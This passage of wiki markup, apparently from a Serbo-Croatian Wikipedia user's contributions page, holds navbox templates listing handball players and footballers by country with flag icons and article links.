Areia]]{{•w}} {{flagicon|POR}} [[Salvador Salvador]]{{•w}} {{flagicon|RUM}} [[Gheorghe Gruia]]{{•w}} {{flagicon|RUS}} [[Dmitrij Kovaljev]]{{•w}} {{flagicon|RUS}} [[Konstantin Igropulo]]{{•w}} {{flagicon|RUS}} [[Timur Dibirov]]{{•w}} {{flagicon|RUS}} [[Dmitrij Torgovanov]]{{•w}} {{flagicon|RUS}} [[Eduard Kokšarov]]{{•w}} {{flagicon|RUS}} [[Vasilij Kudinov]]{{•w}} {{flagicon|RUS}} [[Denis Krivošljikov]]{{•w}} {{flagicon|RUS}} [[Sergej Pogorelov]]{{•w}} {{flagicon|RUS}} [[Dmitrij Žitnjikov]]{{•w}} {{flagicon|RUS}} [[Valerij Gopin]]{{•w}} {{flagicon|RUS}} [[Sergej Kosorotov]]{{•w}} {{flagicon|RUS}} [[Vladimir Maksimov (rukometaš)|Vladimir Maksimov]]{{•w}} {{flagicon|RUS}} [[Andrej Lavrov]]{{•w}} {{flagicon|SLO}} [[Dragan Gajić]]{{•w}} {{flagicon|SLO}} [[Uroš Zorman]]{{•w}} {{flagicon|SLO}} [[Vid Kavtičnik]]{{•w}} {{flagicon|SLO}} [[Jure Dolenec]]{{•w}} {{flagicon|SLO}} [[Aleš Pajovič]]{{•w}} {{flagicon|SLO}} [[Blaž Janc]]{{•w}} {{flagicon|SLO}} [[Tettey Banfro]]{{•w}} {{flagicon|SLO}} [[Aleks Vlah]]{{•w}} {{flagicon|SLO}} [[Domen Novak (rukometaš)|Domen Novak]]{{•w}} {{flagicon|SLO}} [[Domen Makuc]]{{•w}} {{flagicon|SRB}} [[Momir Ilić]]{{•w}} {{flagicon|SRB}} [[Dragan Škrbić]]{{•w}} {{flagicon|SRB}} [[Mladen Bojinović]]{{•w}} {{flagicon|SRB}} [[Jovica Cvetković]]{{•w}} {{flagicon|SRB}} [[Žarko Šešum]]{{•w}} {{flagicon|SRB}} [[Arpad Šterbik]]{{•w}} {{flagicon|SRB}} [[Darko Stanić]]{{•w}} {{flagicon|SRB}} [[Rastko Stojković]]{{•w}} {{flagicon|SRB}} [[Ivan Nikčević]]{{•w}} {{flagicon|SRB}} [[Petar Nenadić]]{{•w}} {{flagicon|ŠPA}} [[Alberto Entrerríos]]{{•w}} {{flagicon|ŠPA}} [[Raúl Entrerríos]]{{•w}} {{flagicon|ŠPA}} [[Julen Aguinagalde]]{{•w}} {{flagicon|ŠPA}} [[Rafael Guijosa]]{{•w}} {{flagicon|ŠPA}} [[Viran Morros]]{{•w}} {{flagicon|ŠPA}} [[Talant Dujšebajev]]{{•w}} {{flagicon|ŠPA}} [[Andrei Xepkin]]{{•w}} {{flagicon|ŠPA}} [[Iker Romero]]{{•w}} {{flagicon|ŠPA}} [[Jaume Fort Mauri]]{{•w}} {{flagicon|ŠPA}} [[David Barrufet]]{{•w}} {{flagicon|ŠPA}} [[Alex Dujšebajev]]{{•w}} {{flagicon|ŠPA}} [[Daniel Dujšebajev]]{{•w}} {{flagicon|ŠPA}} [[Jordi Ribera]]{{•w}} {{flagicon|ŠPA}} [[Ferrán Solé]]{{•w}} {{flagicon|ŠPA}} [[Jorge Maqueda]]{{•w}} {{flagicon|ŠPA}} [[Roberto García Parrondo]]{{•w}} {{flagicon|ŠPA}} [[Gonzalo Pérez de Vargas]]{{•w}} {{flagicon|ŠPA}} [[Mateo Garralda]]{{•w}} {{flagicon|ŠPA}} [[Enric Masip]]{{•w}} {{flagicon|ŠPA}} [[Aleix Gómez]]{{•w}} {{flagicon|ŠPA}} [[Gedeón Guardiola]]{{•w}} {{flagicon|ŠPA}} [[Daniel Fernández (rukometaš)|Daniel Fernández]]{{•w}} {{flagicon|ŠPA}} [[Marcos Fis]]{{•w}} {{flagicon|ŠPA}} [[Ian Barrufet]]{{•w}} {{flagicon|ŠVE}} [[Stefan Lövgren]]{{•w}} {{flagicon|ŠVE}} [[Magnus Wislander]]{{•w}} {{flagicon|ŠVE}} [[Ola Lindgren]]{{•w}} {{flagicon|ŠVE}} [[Staffan Olsson]]{{•w}} {{flagicon|ŠVE}} [[Ljubomir Vranješ]]{{•w}} {{flagicon|ŠVE}} [[Peter Gentzel]]{{•w}} {{flagicon|ŠVE}} [[Magnus Andersson (rukometaš)|Magnus Andersson]]{{•w}} {{flagicon|ŠVE}} [[Johan Jakobsson]]{{•w}} {{flagicon|ŠVE}} [[Tomas Svensson]]{{•w}} {{flagicon|ŠVE}} [[Tobias Karlsson]]{{•w}} {{flagicon|ŠVE}} [[Kim Andersson]]{{•w}} {{flagicon|ŠVE}} [[Johan Petersson]]{{•w}} {{flagicon|ŠVE}} [[Erik Hajas]]{{•w}} {{flagicon|ŠVE}} [[Pierre Thorsson]]{{•w}} {{flagicon|ŠVE}} [[Jerry Tollbring]]{{•w}} {{flagicon|ŠVE}} [[Niclas Ekberg]]{{•w}} {{flagicon|ŠVE}} [[Albin Lagergren]]{{•w}} {{flagicon|ŠVE}} [[Jesper Nielsen]]{{•w}} {{flagicon|ŠVE}} [[Jim Gottfridsson]]{{•w}} {{flagicon|ŠVE}} [[Hampus Wanne]]{{•w}} {{flagicon|ŠVE}} [[Andreas Palicka]]{{•w}} {{flagicon|ŠVE}} [[Yngve Lamberg]]{{•w}} {{flagicon|ŠVE}} [[Dalibor Doder]]{{•w}} {{flagicon|ŠVE}} [[Per Carlén]]{{•w}} {{flagicon|ŠVE}} [[Oscar Bergendahl]]{{•w}} {{flagicon|ŠVE}} [[Eric Johansson (rukometaš)|Eric Johansson]]{{•w}} {{flagicon|ŠVE}} [[Felix Claar]]{{•w}} {{flagicon|ŠVI|size=16px}} [[Andy Schmid]]{{•w}} {{flagicon|ŠVI|size=16px}} [[Marc Baumgartner]]{{•w}} {{flagicon|ŠVI|size=16px}} [[Lenny Rubin]]{{•w}} {{flagicon|UK}} [[Steven Larsson]]{{•w}} {{flagicon|UKR}} [[Oleg Velikij]]{{•w}} {{flagicon|UKR}} [[Sergij Bilik]] {{nowrap end}} {{Navbox subgroup | groupstyle = background-color:#AAD0FF; color:black; text-align:center; border:1px solid silver; | listclass = hlist |group1 = {{flagicon|FRA}} Francuska |list1= {{nowrap begin}} [[Thierry Omeyer]]{{•w}} [[Nikola Karabatić]]{{•w}} [[Daniel Narcisse]]{{•w}} [[Didier Dinart]]{{•w}} [[Jérôme Fernandez]]{{•w}} [[Luc Abalo]]{{•w}} [[Claude Onesta]]{{•w}} [[Guillaume Gille]]{{•w}} [[Joël Abati]]{{•w}} [[Guillaume Joli]]{{•w}} [[William Accambray]]{{•w}} [[Bruno Martini (rukometaš)|Bruno Martini]]{{•w}} [[Grégory Anquetil]]{{•w}} [[Jackson Richardson]]{{•w}} [[Olivier Girault]]{{•w}} [[Andrej Golić]]{{•w}} [[Patrick Cazal]]{{•w}} [[Stéphane Stoecklin]]{{•w}} [[Bertrand Gille]]{{•w}} [[Michaël Guigou]]{{•w}} [[Cédric Sorhaindo]]{{•w}} [[Sébastien Bosquet]]{{•w}} [[Xavier Barachet]]{{•w}} [[Mathieu Grébille]]{{•w}} [[Cyril Dumoulin]]{{•w}} [[Kentin Mahé]]{{•w}} [[Cédric Burdet]]{{•w}} [[Franck Junillon]]{{•w}} [[Laurent Puigségur]]{{•w}} [[Daouda Karaboué]]{{•w}} [[Samuel Honrubia]]{{•w}} [[Frédéric Volle]]{{•w}} [[Kevynn Nyokas]]{{•w}} [[Grégoire Detrez]]{{•w}} [[Arnaud Bingo]]{{•w}} [[Bertrand Roiné]]{{•w}} [[Sébastien Ostertag]]{{•w}} [[Alain Portes]]{{•w}} [[Daniel Costantini]]{{•w}} [[Denis Lathoud]]{{•w}} [[Stéphane Plantin]]{{•w}} [[Christian Gaudin]]{{•w}} [[Philippe Gardent]]{{•w}} [[Patrice Canayer]]{{•w}} [[Pascal Mahé]]{{•w}} [[Cédric Paty]]{{•w}} [[Sylvain Nouet]]{{•w}} [[Thimothey N'Guessan]]{{•w}} [[Valentin Porte]]{{•w}} [[Igor Anić]]{{•w}} [[Vincent Gérard]]{{•w}} [[Olivier Nyokas]]{{•w}} [[Ludovic Fabregas]]{{•w}} [[Benoît Kounkoud]]{{•w}} [[Théo Derot]]{{•w}} [[Nedim Remili]]{{•w}} [[Adrien Dipanda]]{{•w}} [[Dika Mem]]{{•w}} [[Raphaël Caucheteux]]{{•w}} [[Melvyn Richardson]]{{•w}} [[Hugo Descat]]{{•w}} [[Guéric Kervadec]]{{•w}} [[Philippe Debureau]]{{•w}} [[Nicolas Tournat]]{{•w}} [[Yann Genty]]{{•w}} [[Romain Lagarde]]{{•w}} [[Dylan Nahi]]{{•w}} [[Aymeric Minne]]{{•w}} [[Yanis Lenne]]{{•w}} [[Thibaut Briet]]{{•w}} [[Elohim Prandi]]{{•w}} [[Rémi Desbonnet]]{{•w}} [[Samir Bellahcene]]{{•w}} [[Karl Konan]]{{•w}} [[Charles Bolzinger]] {{nowrap end}} }} | group2 = Afrika | list2 = {{nowrap begin}} {{flagicon|ALŽ}} [[Salah Bouchekriou]]{{•w}} {{flagicon|ALŽ}} [[Salim Nedjel Hammou]]{{•w}} {{flagicon|ALŽ}} [[Messaoud Berkous]]{{•w}} {{flagicon|EGI}} [[Hassan Mustafa]]{{•w}} {{flagicon|EGI}} [[Husein Zaki]]{{•w}} {{flagicon|EGI}} [[Ahmed al-Ahmar]]{{•w}} {{flagicon|EGI}} [[Jahia Omar]]{{•w}} {{flagicon|EGI}} [[Ali Zein]]{{•w}} {{flagicon|EGI}} [[Ibrahim al-Masri]]{{•w}} {{flagicon|EGI}} [[Jehia al-Dera]]{{•w}} {{flagicon|EGI}} [[Seif al-Dera]]{{•w}} {{flagicon|COD}} [[Gauthier Mvumbi]]{{•w}} {{flagicon|TUN}} [[Wael Jallouz]]{{•w}} {{flagicon|TUN}} [[Issam Tej]]{{•w}} {{flagicon|TUN}} [[Wissem Hmam]]{{•w}} {{flagicon|TUN}} [[Amine Bannour]]{{•w}} {{flagicon|TUN}} [[Islem Jbeli]]{{•w}} {{flagicon|ZEL}} [[Leandro Semedo]]{{•w}} {{flagicon|ZEL}} [[Délcio Pina]] {{nowrap end}} | group3 = Azija i Oceanija | list3 = {{nowrap begin}} {{flagicon|AUS}} [[Bevan Calvert]]{{•w}} {{flagicon|AUS}} [[Ognjen Matić]]{{•w}} {{flagicon|AUS}} [[Taip Ramadani]]{{•w}} {{flagicon|BHR}} [[Husein al-Sajad]]{{•w}} {{flagicon|JAP}} [[Jin Watanabe (rukometaš)|Jin Watanabe]]{{•w}} {{flagicon|JKO}} [[Kyung-Shin Yoon]]{{•w}} {{flagicon|JKO}} [[Jae-Won Kang]]{{•w}} {{flagicon|KAT}} [[Ahmad Madadi]]{{•w}} {{flagicon|KUV}} [[Seif al-Davani]] {{nowrap end}} | group4 = Amerike | list4 = {{nowrap begin}} {{flagicon|ARG}} [[Eduardo Gallardo]]{{•w}} {{flagicon|ARG}} [[Diego Simonet]]{{•w}} {{flagicon|ARG}} [[Pablo Simonet]]{{•w}} {{flagicon|ARG}} [[Sebastián Simonet]]{{•w}} {{flagicon|ARG}} [[James Parker (rukometaš)|James Parker]]{{•w}} {{flagicon|ARG}} [[Leonel Maciel]]{{•w}} {{flagicon|BRA}} [[Thiagus dos Santos]]{{•w}} {{flagicon|BRA}} [[Jean-Pierre Dupoux]]{{•w}} {{flagicon|BRA}} [[Haniel Langaro]]{{•w}} {{flagicon|BRA}} [[Rudolph Hackbarth]]{{•w}} {{flagicon|ČIL}} [[Rodrigo Salinas Muñoz]]{{•w}} {{flagicon|ČIL}} [[Erwin Feuchtmann]]{{•w}} {{flagicon|ČIL}} [[Esteban Salinas]]{{•w}} {{flagicon|KUB}} [[Rafael Capote]]{{•w}} {{flagicon|KUB}} [[Rolando Uríos]]{{•w}} {{flagicon|KUB}} [[Carlos Pérez (rukometaš)|Carlos Pérez]]{{•w}} {{flagicon|KUB}} [[Roberto Julián Duranona]]{{•w}} {{flagicon|KUB}} [[Julio Fis]]{{•w}} {{flagicon|KUB}} [[Frankis Marzo]]{{•w}} {{flagicon|SAD}} [[Ian Hüter]]{{•w}} {{flagicon|SAD}} [[Patrick Hüter]]{{•w}} {{flagicon|SAD}} [[Gary Hines]]{{•w}} {{flagicon|SAD}} [[Samuel Hoddersen]] {{nowrap end}} }} {{Navbox | name = Korisnik:Edgar Allan Poe/Doprinosi | titlestyle = background-color:#AAD0FF; color:black; text-align:center; border:1px solid silver; | title = Doprinosi o nogometašima | groupstyle = background-color:#AAD0FF; text-align:center; border:1px solid silver; | listclass = hlist | group1 = Europa | list1 = {{nowrap begin}} {{flagicon|ALB}} [[Lorik Cana]]{{•w}} {{flagicon|ALB}} [[Armando Sadiku]]{{•w}} {{flagicon|ALB}} [[Klaus Gjasula]]{{•w}} {{flagicon|ALB}} [[Qazim Laçi]]{{•w}} {{flagicon|ALB}} [[Nedim Bajrami]]{{•w}} {{flagicon|AUT}} [[Alessandro Schöpf]]{{•w}} {{flagicon|AUT}} [[Aleksandar Dragović]]{{•w}} {{flagicon|AUT}} [[Stefan Lainer]]{{•w}} {{flagicon|AUT}} [[Michael Gregoritsch]]{{•w}} {{flagicon|AUT}} [[Christoph Baumgartner]]{{•w}} {{flagicon|AUT}} [[Saša Kalajdžić]]{{•w}} {{flagicon|AUT}} [[Maximilian Wöber]]{{•w}} {{flagicon|AUT}} [[Gernot Trauner]]{{•w}} {{flagicon|AUT}} [[Alex Manninger]]{{•w}} {{flagicon|AUT}} [[Romano Schmid]]{{•w}} {{flagicon|BEL}} [[Kevin De Bruyne]]{{•w}} {{flagicon|BEL}} [[Marouane Fellaini]]{{•w}} {{flagicon|BEL}} [[Romelu Lukaku]]{{•w}} {{flagicon|BEL}} [[Dries Mertens]]{{•w}} {{flagicon|BEL}} [[Divock Origi]]{{•w}} {{flagicon|BEL}} [[Jan Vertonghen]]{{•w}} {{flagicon|BEL}} [[Axel Witsel]]{{•w}} {{flagicon|BEL}} [[Radja Nainggolan]]{{•w}} {{flagicon|BEL}} [[Toby Alderweireld]]{{•w}} {{flagicon|BEL}} [[Michy Batshuayi]]{{•w}} {{flagicon|BEL}} [[Yannick Carrasco]]{{•w}} {{flagicon|BEL}} [[Eden Hazard]]{{•w}} {{flagicon|BEL}} [[Adnan Januzaj]]{{•w}} {{flagicon|BEL}} [[Nacer Chadli]]{{•w}} {{flagicon|BEL}} [[Thomas Meunier]]{{•w}} {{flagicon|BEL}} [[Thibaut Courtois]]{{•w}} {{flagicon|BEL}} [[Thorgan Hazard]]{{•w}} {{flagicon|BUG}} [[Dimitar Berbatov]]{{•w}} {{flagicon|CG}} [[Mirko Vučinić]]{{•w}} {{flagicon|CG}} [[Predrag Mijatović]]{{•w}} {{flagicon|CG}} [[Boban Bajković]]{{•w}} {{flagicon|CG}} [[Dragoslav Jevrić]]{{•w}} {{flagicon|ČSSR}} [[Oldřich Nejedlý]]{{•w}} {{flagicon|ČSSR}} [[Antonín Panenka]]{{•w}} {{flagicon|ČSSR}} [[Josef Masopust]]{{•w}} {{flagicon|ČSSR}} [[Ivo Viktor]]{{•w}} {{flagicon|ČEŠ}} [[Václav Pilař]]{{•w}} {{flagicon|ČEŠ}} [[Petr Jiráček]]{{•w}} {{flagicon|ČEŠ}} [[Jan Laštůvka]]{{•w}} {{flagicon|ČEŠ}} [[Tomáš Hübschman]]{{•w}} {{flagicon|ČEŠ}} [[Petr Čech]]{{•w}} {{flagicon|ČEŠ}} [[Tomáš Rosický]]{{•w}} {{flagicon|ČEŠ}} [[Jan Koller]]{{•w}} {{flagicon|ČEŠ}} [[Karel Poborský]]{{•w}} {{flagicon|ČEŠ}} [[Tomáš Necid]]{{•w}} {{flagicon|ČEŠ}} [[Milan Škoda]]{{•w}} {{flagicon|ČEŠ}} [[Patrik Schick]]{{•w}} {{flagicon|ČEŠ}} [[Tomáš Holeš]]{{•w}} {{flagicon|ČEŠ}} [[Robin Hranáč]]{{•w}} {{flagicon|ČEŠ}} [[Lukáš Provod]]{{•w}} {{flagicon|DAN}} [[Nicklas Bendtner]]{{•w}} {{flagicon|DAN}} [[Michael Krohn-Dehli]]{{•w}} {{flagicon|DAN}} [[Yussuf Poulsen]]{{•w}} {{flagicon|DAN}} [[Christian Eriksen]]{{•w}} {{flagicon|DAN}} [[Simon Kjær]]{{•w}} {{flagicon|DAN}} [[Mathias Jørgensen]]{{•w}} {{flagicon|DAN}} [[Nicolai Jørgensen]]{{•w}} {{flagicon|DAN}} [[Lasse Schöne]]{{•w}} {{flagicon|DAN}} [[Pierre-Emile Højbjerg]]{{•w}} {{flagicon|DAN}} [[Mikkel Damsgaard]]{{•w}} {{flagicon|DAN}} [[Andreas Christensen]]{{•w}} {{flagicon|DAN}} [[Joakim Mæhle]]{{•w}} {{flagicon|DAN}} [[Kasper Dolberg]]{{•w}} {{flagicon|DAN}} [[Martin Braithwaite]]{{•w}} {{flagicon|DAN}} [[Thomas Delaney]]{{•w}} {{flagicon|DAN}} [[Morten Hjulmand]]{{•w}} {{flagicon|ENG}} [[Bobby Charlton]]{{•w}} {{flagicon|ENG}} [[Kevin Keegan]]{{•w}} {{flagicon|ENG}} [[Paul Ince]]{{•w}} {{flagicon|ENG}} [[Gary Lineker]]{{•w}} {{flagicon|ENG}} [[Geoff Hurst]]{{•w}} {{flagicon|ENG}} [[Gordon Banks]]{{•w}} {{flagicon|ENG}} [[Peter Shilton]]{{•w}} {{flagicon|ENG}} [[David Seaman]]{{•w}} {{flagicon|ENG}} [[Glen Johnson]]{{•w}} {{flagicon|ENG}} [[Danny Welbeck]]{{•w}} {{flagicon|ENG}} [[Theo Walcott]]{{•w}} {{flagicon|ENG}} [[John Terry]]{{•w}} {{flagicon|ENG}} [[Steven Gerrard]]{{•w}} {{flagicon|ENG}} [[Gary Neville]]{{•w}} {{flagicon|ENG}} [[Owen Hargreaves]]{{•w}} {{flagicon|ENG}} [[Ashley Young]]{{•w}} {{flagicon|ENG}} [[Ashley Cole]]{{•w}} {{flagicon|ENG}} [[Joleon Lescott]]{{•w}} {{flagicon|ENG}} [[Wayne Rooney]]{{•w}} {{flagicon|ENG}} [[Sol Campbell]]{{•w}} {{flagicon|ENG}} [[Daniel Sturridge]]{{•w}} {{flagicon|ENG}} [[Raheem Sterling]]{{•w}} {{flagicon|ENG}} [[Luke Shaw]]{{•w}} {{flagicon|ENG}} [[Eric Dier]]{{•w}} {{flagicon|ENG}} [[Jamie Vardy]]{{•w}} {{flagicon|ENG}} [[Jack Grealish]]{{•w}} {{flagicon|ENG}} [[Marcus Rashford]]{{•w}} {{flagicon|ENG}} [[Harry Kane]]{{•w}} {{flagicon|ENG}} [[Jesse Lingard]]{{•w}} {{flagicon|ENG}} [[Kieran Trippier]]{{•w}} {{flagicon|ENG}} [[Jordan Henderson]]{{•w}} {{flagicon|ENG}} [[Harry Maguire]]{{•w}} {{flagicon|ENG}} [[Dele Alli]]{{•w}} {{flagicon|ENG}} [[Jude Bellingham]]{{•w}} {{flagicon|ENG}} [[Bukayo Saka]]{{•w}} {{flagicon|EST}} [[Andres Oper]]{{•w}} {{flagicon|EST}} [[Martin Reim]]{{•w}} {{flagicon|FIN}} [[Joel Pohjanpalo]]{{•w}} {{flagicon|FIN}} [[Lukáš Hrádecký]]{{•w}} {{flagicon|FRA}} [[Fabien Barthez]]{{•w}} {{flagicon|FRA}} [[Lilian Thuram]]{{•w}} {{flagicon|FRA}} [[Marcus Thuram]]{{•w}} {{flagicon|FRA}} [[Patrick Vieira]]{{•w}} {{flagicon|FRA}} [[Thierry Henry]]{{•w}} {{flagicon|FRA}} [[Alou Diarra]]{{•w}} {{flagicon|FRA}} [[Claude Makélélé]]{{•w}} {{flagicon|FRA}} [[Florent Malouda]]{{•w}} {{flagicon|FRA}} [[Vikash Dhorasoo]]{{•w}} {{flagicon|FRA}} [[Alain Giresse]]{{•w}} {{flagicon|FRA}} [[Didier Deschamps]]{{•w}} {{flagicon|FRA}} [[Raymond Kopa]]{{•w}} {{flagicon|FRA}} [[Marius Trésor]]{{•w}} {{flagicon|FRA}} [[Marcel Desailly]]{{•w}} {{flagicon|FRA}} [[Luis Fernández]]{{•w}} {{flagicon|FRA}} [[Aimé Jacquet]]{{•w}} {{flagicon|FRA}} [[Nicolas Anelka]]{{•w}} {{flagicon|FRA}} [[Bixente Lizarazu]]{{•w}} {{flagicon|FRA}} [[Youri Djorkaeff]]{{•w}} {{flagicon|FRA}} [[Jean Vincent (fudbaler)|Jean Vincent]]{{•w}} {{flagicon|FRA}} [[Sylvain Wiltord]]{{•w}} {{flagicon|FRA}} [[Hugo Lloris]]{{•w}} {{flagicon|FRA}} [[Manuel Amoros]]{{•w}} {{flagicon|FRA}} [[Robert Pirès]]{{•w}} {{flagicon|FRA}} [[Franck Ribéry]]{{•w}} {{flagicon|FRA}} [[David Trézéguet]]{{•w}} {{flagicon|FRA}} [[Raymond Domenech]]{{•w}} {{flagicon|FRA}} [[Samir Nasri]]{{•w}} {{flagicon|FRA}} [[Jérémy Ménez]]{{•w}} {{flagicon|FRA}} [[Yohan Cabaye]]{{•w}} {{flagicon|FRA}} [[Laurent Blanc]]{{•w}} {{flagicon|FRA}} [[Éric Abidal]]{{•w}} {{flagicon|FRA}} [[Olivier Giroud]]{{•w}} {{flagicon|FRA}} [[Blaise Matuidi]]{{•w}} {{flagicon|FRA}} [[Paul Pogba]]{{•w}} {{flagicon|FRA}} [[Moussa Sissoko]]{{•w}} {{flagicon|FRA}} [[Mathieu Valbuena]]{{•w}} {{flagicon|FRA}} [[Dimitri Payet]]{{•w}} {{flagicon|FRA}} [[Kingsley Coman]]{{•w}} {{flagicon|FRA}} [[Patrice Evra]]{{•w}} {{flagicon|FRA}} [[Antoine Griezmann]]{{•w}} {{flagicon|FRA}} [[Kylian Mbappé]]{{•w}} {{flagicon|FRA}} [[Benjamin Pavard]]{{•w}} {{flagicon|FRA}} [[Raphaël Varane]]{{•w}} {{flagicon|FRA}} [[Samuel Umtiti]]{{•w}} {{flagicon|FRA}} [[Presnel Kimpembe]]{{•w}} {{flagicon|FRA}} [[Adrien Rabiot]]{{•w}} {{flagicon|FRA}} [[Aurélien Tchouaméni]]{{•w}} {{flagicon|FRA}} [[Théo Hernandez]]{{•w}} {{flagicon|FRA}} [[Randal Kolo Muani]]{{•w}} {{flagicon|FRA}} [[Willy Sagnol]]{{•w}} {{flagicon|FRA}} [[Bradley Barcola]]{{•w}} {{flagicon|FRA}} [[William Saliba]]{{•w}} {{flagicon|FRA}} [[Mike Maignan]]{{•w}} {{flagicon|FRA}} [[Youssouf Fofana (francuski fudbaler)|Youssouf Fofana]]{{•w}} {{flagicon|FRA}} [[Ousmane Dembélé]]{{•w}} {{flagicon|GRČ}} [[Sokratis Papastatopulos]]{{•w}} {{flagicon|GRČ}} [[Jorgos Karagunis]]{{•w}} {{flagicon|GRČ}} [[Kostas Fortunis]]{{•w}} {{flagicon|GRČ}} [[Teofanis Gekas]]{{•w}} {{flagicon|GRČ}} [[Andreas Samaris]]{{•w}} {{flagicon|GRČ}} [[Konstantinos Mitroglu]]{{•w}} {{flagicon|GRČ}} [[Lazaros Hristodulopulos]]{{•w}} {{flagicon|GRČ}} [[José Holebas]]{{•w}} {{flagicon|GRU}} [[Georges Mikautadze]]{{•w}} {{flagicon|GRU}} [[Giorgi Mamardašvili]]{{•w}} {{flagicon|IRS}} [[Sean St Ledger]]{{•w}} {{flagicon|IRS}} [[Ciaran Clark]]{{•w}} {{flagicon|IRS}} [[Wes Hoolahan]]{{•w}} {{flagicon|IRS}} [[Robbie Brady]]{{•w}} {{flagicon|ISL}} [[Gylfi Sigurðsson]]{{•w}} {{flagicon|ISL}} [[Birkir Bjarnason]]{{•w}} {{flagicon|ISL}} [[Birkir Már Sævarsson]]{{•w}} {{flagicon|ISL}} [[Jón Daði Böðvarsson]]{{•w}} {{flagicon|ISL}} [[Arnór Ingvi Traustason]]{{•w}} {{flagicon|ISL}} [[Kolbeinn Sigþórsson]]{{•w}} {{flagicon|ISL}} [[Ragnar Sigurðsson]]{{•w}} {{flagicon|ISL}} [[Alfreð Finnbogason]]{{•w}} {{flagicon|ITA}} [[Gianluigi Buffon]]{{•w}} {{flagicon|ITA}} [[Antonio Cassano]]{{•w}} {{flagicon|ITA}} [[Mario Balotelli]]{{•w}} {{flagicon|ITA}} [[Riccardo Montolivo]]{{•w}} {{flagicon|ITA}} [[Antonio Nocerino]]{{•w}} {{flagicon|ITA}} [[Alessandro Diamanti]]{{•w}} {{flagicon|ITA}} [[Roberto Di Matteo]]{{•w}} {{flagicon|ITA}} [[Antonio Di Natale]]{{•w}} {{flagicon|ITA}} [[Andrea Pirlo]]{{•w}} {{flagicon|ITA}} [[Claudio Marchisio]]{{•w}} {{flagicon|ITA}} [[Graziano Pellè]]{{•w}} {{flagicon|ITA}} [[Emanuele Giaccherini]]{{•w}} {{flagicon|ITA}} [[Éder (italijanski fudbaler)|Éder]]{{•w}} {{flagicon|ITA}} [[Giorgio Chiellini]]{{•w}} {{flagicon|ITA}} [[Leonardo Bonucci]]{{•w}} {{flagicon|ITA}} [[Andrea Barzagli]]{{•w}} {{flagicon|ITA}} [[Marco Parolo]]{{•w}} {{flagicon|ITA}} [[Lorenzo Insigne]]{{•w}} {{flagicon|ITA}} [[Mattia De Sciglio]]{{•w}} {{flagicon|ITA}} [[Simone Zaza]]{{•w}} {{flagicon|ITA}} [[Matteo Darmian]]{{•w}} {{flagicon|ITA}} [[Manuel Locatelli]]{{•w}} {{flagicon|ITA}} [[Matteo Pessina]]{{•w}} {{flagicon|ITA}} [[Federico Chiesa]]{{•w}} {{flagicon|ITA}} [[Andrea Belotti]]{{•w}} {{flagicon|ITA}} [[Jorge Luiz Frello Filho|Jorginho]]{{•w}} {{flagicon|ITA}} [[Federico Bernardeschi]]{{•w}} {{flagicon|ITA}} [[Domenico Berardi]]{{•w}} {{flagicon|ITA}} [[Gianluigi Donnarumma]]{{•w}} {{flagicon|ITA}} [[Leonardo Spinazzola]]{{•w}} {{flagicon|ITA}} [[Alessandro Bastoni]]{{•w}} {{flagicon|ITA}} [[Riccardo Calafiori]]{{•w}} {{flagicon|ITA}} [[Mattia Zaccagni]]{{•w}} {{flagicon|MAĐ}} [[Gábor Király]]{{•w}} {{flagicon|MAĐ}} [[Zoltán Stieber]]{{•w}} {{flagicon|MAĐ}} [[Ádám Szalai]]{{•w}} {{flagicon|MAĐ}} [[Balázs Dzsudzsák]]{{•w}} {{flagicon|MAĐ}} [[Zoltán Gera]]{{•w}} {{flagicon|MAĐ}} [[Attila Fiola]]{{•w}} {{flagicon|MAĐ}} [[András Schäfer]]{{•w}} {{flagicon|MAĐ}} [[Barnabás Varga]]{{•w}} {{flagicon|MAĐ}} [[Kevin Csoboth]]{{•w}} {{flagicon|MAĐ}} [[Sándor Kocsis]]{{•w}} {{flagicon|MAK}} [[Ivan Tričkovski]]{{•w}} {{flagicon|NIZ}} [[Edwin van der Sar]]{{•w}} {{flagicon|NIZ}} [[Dirk Kuijt]]{{•w}} {{flagicon|NIZ}} [[Ruud van Nistelrooij]]{{•w}} {{flagicon|NIZ}} [[Marco van Basten]]{{•w}} {{flagicon|NIZ}} [[Wesley Sneijder]]{{•w}} {{flagicon|NIZ}} [[Giovanni van Bronckhorst]]{{•w}} {{flagicon|NIZ}} [[Robin van Persie]]{{•w}} {{flagicon|NIZ}} [[Bert van Marwijk]]{{•w}} {{flagicon|NIZ}} [[Jetro Willems]]{{•w}} {{flagicon|NIZ}} [[Arjen Robben]]{{•w}} {{flagicon|NIZ}} [[Stefan de Vrij]]{{•w}} {{flagicon|NIZ}} [[Jasper Cillessen]]{{•w}} {{flagicon|NIZ}} [[Memphis Depay]]{{•w}} {{flagicon|NIZ}} [[Leroy Fer]]{{•w}} {{flagicon|NIZ}} [[Klaas-Jan Huntelaar]]{{•w}} {{flagicon|NIZ}} [[Ron Vlaar]]{{•w}} {{flagicon|NIZ}} [[Daley Blind]]{{•w}} {{flagicon|NIZ}} [[Steven Berghuis]]{{•w}} {{flagicon|NIZ}} [[Teun Koopmeiners]]{{•w}} {{flagicon|NIZ}} [[Luuk de Jong]]{{•w}} {{flagicon|NIZ}} [[Georginio Wijnaldum]]{{•w}} {{flagicon|NIZ}} [[Patrick Kluivert]]{{•w}} {{flagicon|NIZ}} [[Maarten Stekelenburg]]{{•w}} {{flagicon|NIZ}} [[Wout Weghorst]]{{•w}} {{flagicon|NIZ}} [[Denzel Dumfries]]{{•w}} {{flagicon|NIZ}} [[Cody Gakpo]]{{•w}} {{flagicon|NIZ}} [[Davy Klaassen]]{{•w}} {{flagicon|NIZ}} [[Donyell Malen]]{{•w}} {{flagicon|NIZ}} [[Xavi Simons]]{{•w}} {{flagicon|NJE}} [[Miroslav Klose]]{{•w}} {{flagicon|NJE}} [[Jens Lehmann]]{{•w}} {{flagicon|NJE}} [[Michael Ballack]]{{•w}} {{flagicon|NJE}} [[Sami Khedira]]{{•w}} {{flagicon|NJE}} [[Marco Reus]]{{•w}} {{flagicon|NJE}} [[Arne Friedrich]]{{•w}} {{flagicon|NJE}} [[Philipp Lahm]]{{•w}} {{flagicon|NJE}} [[Marko Marin]]{{•w}} {{flagicon|NJE}} [[Lukas Podolski]]{{•w}} {{flagicon|NJE}} [[Jürgen Klopp]]{{•w}} {{flagicon|NJE}} [[Mario Gómez]]{{•w}} {{flagicon|NJE}} [[Manuel Neuer]]{{•w}} {{flagicon|NJE}} {{nowrap|[[Bastian Schweinsteiger]]}}{{•w}} {{flagicon|NJE}} [[Thomas Müller]]{{•w}} {{flagicon|NJE}} [[Mats Hummels]]{{•w}} {{flagicon|NJE}} [[André Schürrle]]{{•w}} 